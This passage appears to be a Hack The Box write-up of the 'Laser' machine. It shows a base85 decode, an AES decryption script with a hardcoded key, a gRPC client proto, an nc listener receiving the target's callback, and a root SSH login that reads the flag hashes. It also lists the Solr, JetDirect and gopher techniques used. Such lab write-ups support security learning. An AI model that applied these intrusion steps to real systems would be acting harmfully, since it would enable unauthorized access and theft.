with open("queued.b64","r") as mmm: mmm_content = mmm.read() b85dec_content = base64.b85decode(mmm_content) with open("secwalk.raw","wb") as mmm_jpg: mmm_jpg.write(b85dec_content)
aes decrypt python script:
1 2 3 4 5 6 7 8 9 10
#!/usr/bin/env python3 import io, sys, base64 from Crypto.Cipher import AES
with io.open('secwalk.raw', 'rb') as fp: c = fp.read()[8:] iv, ct = c[:16], c[16:] cipher = AES.new('13vu94r6643rv19u', AES.MODE_CBC, iv) z = cipher.decrypt(ct) sys.stdout.buffer.write(z)
then run it
1
root@kali:~/PRET# python3 aesde.py > secwalk.pdf
and we get a pdf file: the important contents are following:
Now we know this port communication with GRPC we should create our gRPC client to communicate with it. the following post can help us with that:
A simplified guide to gRPC in Python
First we should create a proto file, when we look at the PDF file we can see which content it needs:
1 2 3 4 5 6
Usage To streamline the process we are utilising the Protocol Buffers and gRPC framework. The engine runs on 9000 port by default. All devices should submit the feeds in serialized format such that data transmission is fast and accurate across network. We defined a Print service which has a RPC method called Feed . This method takes Content as input parameter and returns Data from the server. The Content message definition specifies a field data and Data message definition specifies a field feed . On successful data transmission you should see a message.
It needs content, Data and Service print:
luci11.proto
1 2 3 4 5 6 7 8 9 10 11 12 13
syntax = "proto3";
message Content { string data = 1; }
message Data { float feed = 1; }
service Print { rpc Feed(Content) returns (Data) {} }
now we need to run the following command as mentioned in the post,you need to install the dependencies first
root@kali:~/hackthebox/machine/laser# python3 client.py ...... root@kali:~# nc -lvp 81 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::81 Ncat: Listening on 0.0.0.0:81 Ncat: Connection from 10.10.10.201. Ncat: Connection from 10.10.10.201:58680. GET / HTTP/1.1 Host: 10.10.14.6:81 User-Agent: FeedBot v1.0 Accept: */*
looks like we have a connection.
After some more enumeration, there was a little stuck here, but it turns out we can create an port scanner to see which service ports are open behind the firewall and since grpc can communicate with these ports we could try to exploit these by using the following python script:
root@kali:~/hackthebox/machine/laser# chmod 600 key root@kali:~/hackthebox/machine/laser# ssh -i key root@10.10.10.201 load pubkey "key": invalid format The authenticity of host '10.10.10.201 (10.10.10.201)' can't be established. ECDSA key fingerprint is SHA256:7+5qUqmyILv7QKrQXPArj5uYqJwwe7mpUbzD/7cl44E. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.201' (ECDSA) to the list of known hosts. Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat 22 Aug 2020 01:12:04 PM UTC System load: 0.14 Usage of /: 42.6% of 19.56GB Memory usage: 68% Swap usage: 1% Processes: 235 Users logged in: 0 IPv4 address for br-3ae8661b394c: 172.18.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for ens160: 10.10.10.201 IPv6 address for ens160: dead:beef::250:56ff:feb9:f15b 73 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable Last login: Wed Aug 5 09:48:17 2020 root@laser:~# id uid=0(root) gid=0(root) groups=0(root) root@laser:~# ls /home solr root@laser:~# ls /home/solr feed_engine user.txt root@laser:~# cat /home/solr/user.txt a9c8ee0fa19c9a150aaad90bbf1cbb12 root@laser:~# cat root.txt 79b9b88630c2c60bdbd0e168fcfb0a07
Summary of knowledge
HP jetdirect printer server exploit
aes python decrypt script
exploit GRPC service
port scan behind the firewall
Apache solr 1.4 exploit using gopher protocal
Pspy to see processes
socat port forwarding
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…